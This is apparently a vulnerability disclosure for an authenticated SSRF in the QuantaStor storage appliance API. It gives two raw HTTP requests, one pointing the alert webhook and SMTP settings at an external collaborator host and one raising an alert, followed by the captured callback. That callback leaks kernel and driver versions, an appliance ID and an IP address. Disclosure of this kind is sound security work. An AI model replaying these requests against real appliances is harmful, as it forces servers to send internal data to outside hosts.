Description
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
POC
Step 1: Prepare the SSRF with a request like this:
GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://
HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic
Content-Type: application/json
Content-Length: 0
Step 2: Trigger this alert with this request
GET /qstorapi/alertRaise?title=test&message=test&severity=1
HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic
Content-Type: application/json
Content-Length: 1
The post request received by looks like this:
{
### Python FLASK stuff ####
endpoint: index,
method: POST,
cookies: ImmutableMultiDict([]),
### END Python FLASK stuff ####
data: b{
"attachments": [
{
"fallback": "[122] test / test.",
"color": "#aa2222",
"title": "[122] test",
"text": "test",
"fields": [
{
"title": "Alert Severity",
"value": "CRITICAL",
"short": false
}, {
"title": "Appliance",
"value": "quantastor (https://)",
"short": true
}, {
"title": "System / Driver / Kernel Ver",
"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",
"short": false
}, {
"title": "System Startup",
"value": "Fri Aug 6 16-02-55 2021",
"short": true
}, {
"title": "SSID",
"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",
"short": true
},
],
"footer": "QuantaStor Call-home Alert",
"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",
"ts": 1628461774
}
],
"mrkdwn":true
},
#### FLASK REQUEST STUFF #####
headers: {
Host: ,
User-Agent: curl/7.58.0,
Accept: */*,
Content-Type: application/json,
Content-Length: 790
},
args: ImmutableMultiDict([]),
form: ImmutableMultiDict([]),
remote_addr: 217.103.63.173,
path: /payload/58,
whois_ip: TNF-AS, NL
}
#### END FLASK REQUEST STUFF #####